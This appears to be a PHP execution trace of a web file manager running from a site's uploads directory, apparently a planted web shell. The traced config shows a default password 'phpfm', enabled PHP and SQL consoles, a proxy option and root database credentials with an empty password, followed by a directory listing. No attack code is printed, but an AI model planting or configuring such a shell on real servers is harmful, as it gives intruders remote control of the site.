1		A						/var/www/html/uploads/filemanager.php	28	$auth['password'] = 'phpfm'
1		A						/var/www/html/uploads/filemanager.php	29	$auth['cookie_name'] = 'fm_user'
1		A						/var/www/html/uploads/filemanager.php	30	$auth['script'] = '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh'
1		A						/var/www/html/uploads/filemanager.php	34	$fm_default_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/filemanager.php	54	$fm_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/filemanager.php	62	$language = 'ru'
1		A						/var/www/html/uploads/filemanager.php	80	$language = 'ru'
1		A						/var/www/html/uploads/filemanager.php	85	$lang['Add'] = 'Добавить'
1		A						/var/www/html/uploads/filemanager.php	86	$lang['Are you sure you want to delete this directory (recursively)?'] = 'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/filemanager.php	87	$lang['Are you sure you want to delete this file?'] = 'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/filemanager.php	88	$lang['Archiving'] = 'Архивировать'
1		A						/var/www/html/uploads/filemanager.php	89	$lang['Authorization'] = 'Авторизация'
1		A						/var/www/html/uploads/filemanager.php	90	$lang['Back'] = 'Назад'
1		A						/var/www/html/uploads/filemanager.php	91	$lang['Cancel'] = 'Отмена'
1		A						/var/www/html/uploads/filemanager.php	92	$lang['Chinese'] = 'Китайский'
1		A						/var/www/html/uploads/filemanager.php	93	$lang['Compress'] = 'Сжать'
1		A						/var/www/html/uploads/filemanager.php	94	$lang['Console'] = 'Консоль'
1		A						/var/www/html/uploads/filemanager.php	95	$lang['Cookie'] = 'Куки'
1		A						/var/www/html/uploads/filemanager.php	96	$lang['Created'] = 'Создан'
1		A						/var/www/html/uploads/filemanager.php	97	$lang['Date'] = 'Дата'
1		A						/var/www/html/uploads/filemanager.php	98	$lang['Days'] = 'Дней'
1		A						/var/www/html/uploads/filemanager.php	99	$lang['Decompress'] = 'Распаковать'
1		A						/var/www/html/uploads/filemanager.php	100	$lang['Delete'] = 'Удалить'
1		A						/var/www/html/uploads/filemanager.php	101	$lang['Deleted'] = 'Удалено'
1		A						/var/www/html/uploads/filemanager.php	102	$lang['Download'] = 'Скачать'
1		A						/var/www/html/uploads/filemanager.php	103	$lang['done'] = 'закончена'
1		A						/var/www/html/uploads/filemanager.php	104	$lang['Edit'] = 'Редактировать'
1		A						/var/www/html/uploads/filemanager.php	105	$lang['Enter'] = 'Вход'
1		A						/var/www/html/uploads/filemanager.php	106	$lang['English'] = 'Английский'
1		A						/var/www/html/uploads/filemanager.php	107	$lang['Error occurred'] = 'Произошла ошибка'
1		A						/var/www/html/uploads/filemanager.php	108	$lang['File manager'] = 'Файловый менеджер'
1		A						/var/www/html/uploads/filemanager.php	109	$lang['File selected'] = 'Выбран файл'
1		A						/var/www/html/uploads/filemanager.php	110	$lang['File updated'] = 'Файл сохранен'
1		A						/var/www/html/uploads/filemanager.php	111	$lang['Filename'] = 'Имя файла'
1		A						/var/www/html/uploads/filemanager.php	112	$lang['Files uploaded'] = 'Файл загружен'
1		A						/var/www/html/uploads/filemanager.php	113	$lang['French'] = 'Французский'
1		A						/var/www/html/uploads/filemanager.php	114	$lang['German'] = 'Немецкий'
1		A						/var/www/html/uploads/filemanager.php	115	$lang['Generation time'] = 'Генерация страницы'
1		A						/var/www/html/uploads/filemanager.php	116	$lang['Home'] = 'Домой'
1		A						/var/www/html/uploads/filemanager.php	117	$lang['Quit'] = 'Выход'
1		A						/var/www/html/uploads/filemanager.php	118	$lang['Language'] = 'Язык'
1		A						/var/www/html/uploads/filemanager.php	119	$lang['Login'] = 'Логин'
1		A						/var/www/html/uploads/filemanager.php	120	$lang['Manage'] = 'Управление'
1		A						/var/www/html/uploads/filemanager.php	121	$lang['Make directory'] = 'Создать папку'
1		A						/var/www/html/uploads/filemanager.php	122	$lang['Name'] = 'Наименование'
1		A						/var/www/html/uploads/filemanager.php	123	$lang['New'] = 'Новое'
1		A						/var/www/html/uploads/filemanager.php	124	$lang['New file'] = 'Новый файл'
1		A						/var/www/html/uploads/filemanager.php	125	$lang['no files'] = 'нет файлов'
1		A						/var/www/html/uploads/filemanager.php	126	$lang['Password'] = 'Пароль'
1		A						/var/www/html/uploads/filemanager.php	127	$lang['pictures'] = 'изображения'
1		A						/var/www/html/uploads/filemanager.php	128	$lang['Recursively'] = 'Рекурсивно'
1		A						/var/www/html/uploads/filemanager.php	129	$lang['Rename'] = 'Переименовать'
1		A						/var/www/html/uploads/filemanager.php	130	$lang['Reset'] = 'Сбросить'
1		A						/var/www/html/uploads/filemanager.php	131	$lang['Reset settings'] = 'Сбросить настройки'
1		A						/var/www/html/uploads/filemanager.php	132	$lang['Result'] = 'Результат'
1		A						/var/www/html/uploads/filemanager.php	133	$lang['Rights'] = 'Права'
1		A						/var/www/html/uploads/filemanager.php	134	$lang['Russian'] = 'Русский'
1		A						/var/www/html/uploads/filemanager.php	135	$lang['Save'] = 'Сохранить'
1		A						/var/www/html/uploads/filemanager.php	136	$lang['Select'] = 'Выберите'
1		A						/var/www/html/uploads/filemanager.php	137	$lang['Select the file'] = 'Выберите файл'
1		A						/var/www/html/uploads/filemanager.php	138	$lang['Settings'] = 'Настройка'
1		A						/var/www/html/uploads/filemanager.php	139	$lang['Show'] = 'Показать'
1		A						/var/www/html/uploads/filemanager.php	140	$lang['Size'] = 'Размер'
1		A						/var/www/html/uploads/filemanager.php	141	$lang['Spanish'] = 'Испанский'
1		A						/var/www/html/uploads/filemanager.php	142	$lang['Submit'] = 'Отправить'
1		A						/var/www/html/uploads/filemanager.php	143	$lang['Task'] = 'Задача'
1		A						/var/www/html/uploads/filemanager.php	144	$lang['templates'] = 'шаблоны'
1		A						/var/www/html/uploads/filemanager.php	145	$lang['Show size of the folder'] = 'Показать размер папки'
1		A						/var/www/html/uploads/filemanager.php	146	$lang['Ukrainian'] = 'Украинский'
1		A						/var/www/html/uploads/filemanager.php	147	$lang['Upload'] = 'Загрузить'
1		A						/var/www/html/uploads/filemanager.php	148	$lang['Value'] = 'Значение'
1		A						/var/www/html/uploads/filemanager.php	149	$lang['Hello'] = 'Привет'
2	14	0	0.004615	945456	__	1		/var/www/html/uploads/filemanager.php	952	1	'File manager'
2	14	1	0.004632	945480
2	14	R			'Файловый менеджер'
2	15	0	0.004750	953784	fm_home_style	1		/var/www/html/uploads/filemanager.php	1038	0
2	15	1	0.004764	953784
2	15	R			'\n\ninput, input.fm_input {\n\ttext-indent: 2px;\n}\n\ninput, textarea, select, input.fm_input {\n\tcolor: black;\n\tfont: normal 8pt Verdana, Arial, Helvetica, sans-serif;\n\tborder-color: black;\n\tbackground-color: #FCFCFC none !important;\n\tborder-radius: 0;\n\tpadding: 2px;\n}\n\ninput.fm_input {\n\tbackground: #FCFCFC none !important;\n\tcursor: pointer;\n}\n\n.home {\n\tbackground-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo//'
1		A						/var/www/html/uploads/filemanager.php	1057	$url_inc = '?fm=true'
1		A						/var/www/html/uploads/filemanager.php	1262	$msg = ''
2	16	0	0.004833	953784	__	1		/var/www/html/uploads/filemanager.php	1370	1	'File manager'
2	16	1	0.004847	953784
2	16	R			'Файловый менеджер'
2	17	0	0.004864	953784	fm_home	1		/var/www/html/uploads/filemanager.php	1382	1	???
3	18	0	0.004878	953784	fm_url	1		/var/www/html/uploads/filemanager.php	732	1	FALSE
3		A						/var/www/html/uploads/filemanager.php	727	$host = '.'
4	19	0	0.004901	953816	basename	0		/var/www/html/uploads/filemanager.php	728	1	'/var/www/html/uploads/filemanager.php'
4	19	1	0.004918	953888
4	19	R			'filemanager.php'
3	18	1	0.004933	953832
3	18	R			'./filemanager.php'
3	20	0	0.004947	953864	__	1		/var/www/html/uploads/filemanager.php	732	1	'Home'
3	20	1	0.004960	953864
3	20	R			'Домой'
2	17	1	0.004974	953944
2	17	R			'&nbsp;<a href="./filemanager.php" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	21	0	0.004996	953784	__	1		/var/www/html/uploads/filemanager.php	1389	1	'Make directory'
2	21	1	0.005011	953784
2	21	R			'Создать папку'
2	22	0	0.005027	953784	__	1		/var/www/html/uploads/filemanager.php	1398	1	'New file'
2	22	1	0.005039	953784
2	22	R			'Новый файл'
2	23	0	0.005054	953784	fm_run_input	1		/var/www/html/uploads/filemanager.php	1403	1	'php'
3	24	0	0.005068	953808	fm_url	1		/var/www/html/uploads/filemanager.php	739	1	???
3		A						/var/www/html/uploads/filemanager.php	727	$host = '.'
4	25	0	0.005091	953840	basename	0		/var/www/html/uploads/filemanager.php	728	1	'/var/www/html/uploads/filemanager.php'
4	25	1	0.005112	953912
4	25	R			'filemanager.php'
3	24	1	0.005132	953856
3	24	R			'./filemanager.php'
3	26	0	0.005153	953968	strtoupper	0		/var/www/html/uploads/filemanager.php	740	1	'php'
3	26	1	0.005170	954032
3	26	R			'PHP'
3	27	0	0.005184	953968	__	1		/var/www/html/uploads/filemanager.php	740	1	'Console'
3	27	1	0.005198	953968
3	27	R			'Консоль'
2		A						/var/www/html/uploads/filemanager.php	742	$return = '\n\t\t\t\t<form  method="post" action="./filemanager.php" style="display:inline">\n\t\t\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t\t\t</form>\n'
2	23	1	0.005232	954000
2	23	R			'\n\t\t\t\t<form  method="post" action="./filemanager.php" style="display:inline">\n\t\t\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t\t\t</form>\n'
2	28	0	0.005254	953808	fm_run_input	1		/var/www/html/uploads/filemanager.php	1406	1	'sql'
3	29	0	0.005268	953808	fm_url	1		/var/www/html/uploads/filemanager.php	739	1	???
3		A						/var/www/html/uploads/filemanager.php	727	$host = '.'
4	30	0	0.005290	953840	basename	0		/var/www/html/uploads/filemanager.php	728	1	'/var/www/html/uploads/filemanager.php'
4	30	1	0.005304	953912
4	30	R			'filemanager.php'
3	29	1	0.005318	953856
3	29	R			'./filemanager.php'
3	31	0	0.005333	953968	strtoupper	0		/var/www/html/uploads/filemanager.php	740	1	'sql'
3	31	1	0.005345	954032
3	31	R			'SQL'
3	32	0	0.005358	953968	__	1		/var/www/html/uploads/filemanager.php	740	1	'Console'
3	32	1	0.005370	953968
3	32	R			'Консоль'
2		A						/var/www/html/uploads/filemanager.php	742	$return = '\n\t\t\t\t<form  method="post" action="./filemanager.php" style="display:inline">\n\t\t\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t\t\t</form>\n'
2	28	1	0.005404	954000
2	28	R			'\n\t\t\t\t<form  method="post" action="./filemanager.php" style="display:inline">\n\t\t\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t\t\t</form>\n'
2	33	0	0.005427	953808	__	1		/var/www/html/uploads/filemanager.php	1419	1	'Select the file'
2	33	1	0.005447	953808
2	33	R			'Выберите файл'
2	34	0	0.005472	953808	__	1		/var/www/html/uploads/filemanager.php	1420	1	'Upload'
2	34	1	0.005491	953808
2	34	R			'Загрузить'
2	35	0	0.005507	953808	fm_lang_form	1		/var/www/html/uploads/filemanager.php	1434	1	'ru'
3	36	0	0.005520	953808	__	1		/var/www/html/uploads/filemanager.php	546	1	'Language'
3	36	1	0.005533	953808
3	36	R			'Язык'
3	37	0	0.005547	954000	__	1		/var/www/html/uploads/filemanager.php	547	1	'English'
3	37	1	0.005560	954000
3	37	R			'Английский'
3	38	0	0.005574	954064	__	1		/var/www/html/uploads/filemanager.php	548	1	'German'
3	38	1	0.005587	954064
3	38	R			'Немецкий'
3	39	0	0.005601	954128	__	1		/var/www/html/uploads/filemanager.php	549	1	'Russian'
3	39	1	0.005614	954128
3	39	R			'Русский'
3	40	0	0.005628	954192	__	1		/var/www/html/uploads/filemanager.php	550	1	'French'
3	40	1	0.005640	954192
3	40	R			'Французский'
3	41	0	0.005655	954256	__	1		/var/www/html/uploads/filemanager.php	551	1	'Ukrainian'
3	41	1	0.005667	954256
3	41	R			'Украинский'
2	35	1	0.005682	954320
2	35	R			'\n<form name="change_lang" method="post" action="">\n\t<select name="fm_lang" title="Язык" onchange="document.forms[\'change_lang\'].submit()" >\n\t\t<option value="en" >Английский</option>\n\t\t<option value="de" >Немецкий</option>\n\t\t<option value="ru" selected="selected" >Русский</option>\n\t\t<option value="fr" >Французский</option>\n\t\t<option value="uk" >Украинский</option>\n\t</select>\n</form>\n'
2	42	0	0.005713	953808	__	1		/var/www/html/uploads/filemanager.php	1444	1	'Filename'
2	42	1	0.005726	953808
2	42	R			'Имя файла'
2	43	0	0.005740	953808	__	1		/var/www/html/uploads/filemanager.php	1445	1	'Size'
2	43	1	0.005753	953808
2	43	R			'Размер'
2	44	0	0.005766	953808	__	1		/var/www/html/uploads/filemanager.php	1446	1	'Date'
2	44	1	0.005779	953808
2	44	R			'Дата'
2	45	0	0.005793	953808	__	1		/var/www/html/uploads/filemanager.php	1447	1	'Rights'
2	45	1	0.005806	953808
2	45	R			'Права'
2	46	0	0.005819	953808	__	1		/var/www/html/uploads/filemanager.php	1448	1	'Manage'
2	46	1	0.005832	953808
2	46	R			'Управление'
2	47	0	0.005846	953808	fm_scan_dir	1		/var/www/html/uploads/filemanager.php	1453	4	'/var/www/html/uploads/'	''	'all'	TRUE
2		A						/var/www/html/uploads/filemanager.php	508	$ndir = []
2		A						/var/www/html/uploads/filemanager.php	508	$dir = []
3	48	0	0.005883	953808	is_dir	0		/var/www/html/uploads/filemanager.php	515	1	'/var/www/html/uploads/'
3	48	1	0.005902	953872
3	48	R			TRUE
3	49	0	0.005916	953832	opendir	0		/var/www/html/uploads/filemanager.php	516	1	'/var/www/html/uploads/'
3	49	1	0.005935	954224
3	49	R			resource(4) of type (stream)
2		A						/var/www/html/uploads/filemanager.php	516	$fh = resource(4) of type (stream)
3	50	0	0.005962	954192	readdir	0		/var/www/html/uploads/filemanager.php	517	1	resource(4) of type (stream)
3	50	1	0.005985	954264
3	50	R			'..'
2		A						/var/www/html/uploads/filemanager.php	517	$filename = '..'
3	51	0	0.006010	954224	substr	0		/var/www/html/uploads/filemanager.php	518	3	'..'	0	1
3	51	1	0.006024	954320
3	51	R			'.'
2		A						/var/www/html/uploads/filemanager.php	520	$dir[] = '..'
3	52	0	0.006049	954600	readdir	0		/var/www/html/uploads/filemanager.php	517	1	resource(4) of type (stream)
3	52	1	0.006063	954672
3	52	R			'.'
2		A						/var/www/html/uploads/filemanager.php	517	$filename = '.'
3	53	0	0.006086	954632	substr	0		/var/www/html/uploads/filemanager.php	518	3	'.'	0	1
3	53	1	0.006099	954728
3	53	R			'.'
2		A						/var/www/html/uploads/filemanager.php	520	$dir[] = '.'
3	54	0	0.006122	954632	readdir	0		/var/www/html/uploads/filemanager.php	517	1	resource(4) of type (stream)
3	54	1	0.006135	954712
3	54	R			'prepend.php'
2		A						/var/www/html/uploads/filemanager.php	517	$filename = 'prepend.php'
3	55	0	0.006159	954672	substr	0		/var/www/html/uploads/filemanager.php	518	3	'prepend.php'	0	1
3	55	1	0.006173	954768
3	55	R			'p'
2		A						/var/www/html/uploads/filemanager.php	520	$dir[] = 'prepend.php'
3	56	0	0.006197	954672	readdir	0		/var/www/html/uploads/filemanager.php	517	1	resource(4) of type (stream)
3	56	1	0.006214	954752
3	56	R			'filemanager.php'
2		A						/var/www/html/uploads/filemanager.php	517	$filename = 'filemanager.php'
3	57	0	0.006239	954712	substr	0		/var/www/html/uploads/filemanager.php	518	3	'filemanager.php'	0	1
3	57	1	0.006253	954808
3	57	R			'f'
2		A						/var/www/html/uploads/filemanager.php	520	$dir[] = 'filemanager.php'
3	58	0	0.006277	954712	readdir	0		/var/www/html/uploads/filemanager.php	517	1	resource(4) of type (stream)
3	58	1	0.006290	954784
3	58	R			'data'
2		A						/var/www/html/uploads/filemanager.php	517	$filename = 'data'
3	59	0	0.006313	954744	substr	0		/var/www/html/uploads/filemanager.php	518	3	'data'	0	1
3	59	1	0.006327	954840
3	59	R			'd'
2		A						/var/www/html/uploads/filemanager.php	520	$dir[] = 'data'
3	60	0	0.006350	954744	readdir	0		/var/www/html/uploads/filemanager.php	517	1	resource(4) of type (stream)
3	60	1	0.006363	954824
3	60	R			'.htaccess'
2		A						/var/www/html/uploads/filemanager.php	517	$filename = '.htaccess'
3	61	0	0.006387	954784	substr	0		/var/www/html/uploads/filemanager.php	518	3	'.htaccess'	0	1
3	61	1	0.006401	954880
3	61	R			'.'
2		A						/var/www/html/uploads/filemanager.php	520	$dir[] = '.htaccess'
3	62	0	0.006424	954784	readdir	0		/var/www/html/uploads/filemanager.php	517	1	resource(4) of type (stream)
3	62	1	0.006438	954824
3	62	R			FALSE
2		A						/var/www/html/uploads/filemanager.php	517	$filename = FALSE
3	63	0	0.006461	954784	closedir	0		/var/www/html/uploads/filemanager.php	524	1	resource(4) of type (stream)
3	63	1	0.006478	954600
3	63	R			NULL
3	64	0	0.006491	954584	natsort	0		/var/www/html/uploads/filemanager.php	525	1	[0 => '..', 1 => '.', 2 => 'prepend.php', 3 => 'filemanager.php', 4 => 'data', 5 => '.htaccess']
3	64	1	0.006510	954616
3	64	R			TRUE
2	47	1	0.006523	954536
2	47	R			[1 => '.', 0 => '..', 5 => '.htaccess', 4 => 'data', 3 => 'filemanager.php', 2 => 'prepend.php']
1		A						/var/www/html/uploads/filemanager.php	1453	$elements = [1 => '.', 0 => '..', 5 => '.htaccess', 4 => 'data', 3 => 'filemanager.php', 2 => 'prepend.php']
1		A						/var/www/html/uploads/filemanager.php	1454	$dirs = []
1		A						/var/www/html/uploads/filemanager.php	1455	$files = []
2	65	0	0.006580	954584	is_dir	0		/var/www/html/uploads/filemanager.php	1457	1	'/var/www/html/uploads/.'
2	65	1	0.006596	954624
2	65	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1458	$dirs[] = '.'
2	66	0	0.006619	954968	is_dir	0		/var/www/html/uploads/filemanager.php	1457	1	'/var/www/html/uploads/..'
2	66	1	0.006634	955016
2	66	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1458	$dirs[] = '..'
2	67	0	0.006657	954976	is_dir	0		/var/www/html/uploads/filemanager.php	1457	1	'/var/www/html/uploads/.htaccess'
2	67	1	0.006673	955016
2	67	R			FALSE
1		A						/var/www/html/uploads/filemanager.php	1460	$files[] = '.htaccess'
2	68	0	0.006697	955352	is_dir	0		/var/www/html/uploads/filemanager.php	1457	1	'/var/www/html/uploads/data'
2	68	1	0.006712	955392
2	68	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1458	$dirs[] = 'data'
2	69	0	0.006735	955360	is_dir	0		/var/www/html/uploads/filemanager.php	1457	1	'/var/www/html/uploads/filemanager.php'
2	69	1	0.006749	955408
2	69	R			FALSE
1		A						/var/www/html/uploads/filemanager.php	1460	$files[] = 'filemanager.php'
2	70	0	0.006773	955368	is_dir	0		/var/www/html/uploads/filemanager.php	1457	1	'/var/www/html/uploads/prepend.php'
2	70	1	0.006789	955408
2	70	R			FALSE
1		A						/var/www/html/uploads/filemanager.php	1460	$files[] = 'prepend.php'
2	71	0	0.006813	955328	natsort	0		/var/www/html/uploads/filemanager.php	1463	1	[0 => '.', 1 => '..', 2 => 'data']
2	71	1	0.006829	955360
2	71	R			TRUE
2	72	0	0.006841	955352	natsort	0		/var/www/html/uploads/filemanager.php	1463	1	[0 => '.htaccess', 1 => 'filemanager.php', 2 => 'prepend.php']
2	72	1	0.006857	955384
2	72	R			TRUE
2	73	0	0.006870	955352	array_merge	0		/var/www/html/uploads/filemanager.php	1464	2	[0 => '.', 1 => '..', 2 => 'data']	[0 => '.htaccess', 1 => 'filemanager.php', 2 => 'prepend.php']
2	73	1	0.006889	955792
2	73	R			[0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'filemanager.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/filemanager.php	1464	$elements = [0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'filemanager.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/filemanager.php	1467	$filename = '/var/www/html/uploads/.'
2	74	0	0.006975	955400	stat	0		/var/www/html/uploads/filemanager.php	1468	1	'/var/www/html/uploads/.'
2	74	1	0.006998	957176
2	74	R			[0 => 2049, 1 => 524471, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524471, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/filemanager.php	1468	$filedata = [0 => 2049, 1 => 524471, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524471, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
2	75	0	0.007077	957136	is_dir	0		/var/www/html/uploads/filemanager.php	1469	1	'/var/www/html/uploads/.'
2	75	1	0.007095	957176
2	75	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1470	$filedata[7] = ''
2	76	0	0.007128	957216	__	1		/var/www/html/uploads/filemanager.php	1472	1	'Show'
2	76	1	0.007146	957216
2	76	R			'Показать'
1		A						/var/www/html/uploads/filemanager.php	1472	$link = '<a href="?fm=true&path=/var/www/html/uploads/." title="Показать ."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> .</a>'
2	77	0	0.007188	957296	fm_root	1		/var/www/html/uploads/filemanager.php	1473	1	'.'
2	77	1	0.007206	957296
2	77	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1473	$loadlink = ''
2	78	0	0.007237	957296	fm_root	1		/var/www/html/uploads/filemanager.php	1474	1	'.'
2	78	1	0.007254	957296
2	78	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1474	$arlink = ''
1		A						/var/www/html/uploads/filemanager.php	1475	$style = 'row2'
2	79	0	0.007298	957296	fm_root	1		/var/www/html/uploads/filemanager.php	1476	1	'.'
2	79	1	0.007316	957296
2	79	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1476	$alert = ''
2	80	0	0.007346	957296	fm_root	1		/var/www/html/uploads/filemanager.php	1493	1	'.'
2	80	1	0.007363	957296
2	80	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1493	$deletelink = ''
2	81	0	0.007393	957296	fm_root	1		/var/www/html/uploads/filemanager.php	1494	1	'.'
2	81	1	0.007410	957296
2	81	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1494	$renamelink = ''
1		A						/var/www/html/uploads/filemanager.php	1495	$rightstext = ''
2	82	0	0.007456	957296	gmdate	0		/var/www/html/uploads/filemanager.php	1500	2	'Y-m-d H:i:s'	1676250335
2	82	1	0.007478	957624
2	82	R			'2023-02-13 01:05:35'
1		A						/var/www/html/uploads/filemanager.php	1467	$filename = '/var/www/html/uploads/..'
2	83	0	0.007513	957304	stat	0		/var/www/html/uploads/filemanager.php	1468	1	'/var/www/html/uploads/..'
2	83	1	0.007535	959104
2	83	R			[0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/filemanager.php	1468	$filedata = [0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
2	84	0	0.007615	957312	is_dir	0		/var/www/html/uploads/filemanager.php	1469	1	'/var/www/html/uploads/..'
2	84	1	0.007633	957352
2	84	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1470	$filedata[7] = ''
2	85	0	0.007666	957408	__	1		/var/www/html/uploads/filemanager.php	1472	1	'Show'
2	85	1	0.007683	957408
2	85	R			'Показать'
1		A						/var/www/html/uploads/filemanager.php	1472	$link = '<a href="?fm=true&path=/var/www/html/uploads/.." title="Показать .."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ..</a>'
2	86	0	0.007725	957344	fm_root	1		/var/www/html/uploads/filemanager.php	1473	1	'..'
2	86	1	0.007743	957344
2	86	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1473	$loadlink = ''
2	87	0	0.007774	957344	fm_root	1		/var/www/html/uploads/filemanager.php	1474	1	'..'
2	87	1	0.007790	957344
2	87	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1474	$arlink = ''
1		A						/var/www/html/uploads/filemanager.php	1475	$style = 'row2'
2	88	0	0.007834	957344	fm_root	1		/var/www/html/uploads/filemanager.php	1476	1	'..'
2	88	1	0.007856	957344
2	88	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1476	$alert = ''
2	89	0	0.007886	957344	fm_root	1		/var/www/html/uploads/filemanager.php	1493	1	'..'
2	89	1	0.007903	957344
2	89	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1493	$deletelink = ''
2	90	0	0.007933	957344	fm_root	1		/var/www/html/uploads/filemanager.php	1494	1	'..'
2	90	1	0.007949	957344
2	90	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1494	$renamelink = ''
1		A						/var/www/html/uploads/filemanager.php	1495	$rightstext = ''
2	91	0	0.007994	957344	gmdate	0		/var/www/html/uploads/filemanager.php	1500	2	'Y-m-d H:i:s'	1676250335
2	91	1	0.008014	957672
2	91	R			'2023-02-13 01:05:35'
1		A						/var/www/html/uploads/filemanager.php	1467	$filename = '/var/www/html/uploads/data'
2	92	0	0.008050	957344	stat	0		/var/www/html/uploads/filemanager.php	1468	1	'/var/www/html/uploads/data'
2	92	1	0.008072	959136
2	92	R			[0 => 2049, 1 => 524472, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524472, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/filemanager.php	1468	$filedata = [0 => 2049, 1 => 524472, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524472, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
2	93	0	0.008151	957344	is_dir	0		/var/www/html/uploads/filemanager.php	1469	1	'/var/www/html/uploads/data'
2	93	1	0.008169	957384
2	93	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	1470	$filedata[7] = ''
2	94	0	0.008202	957440	__	1		/var/www/html/uploads/filemanager.php	1472	1	'Show'
2	94	1	0.008219	957440
2	94	R			'Показать'
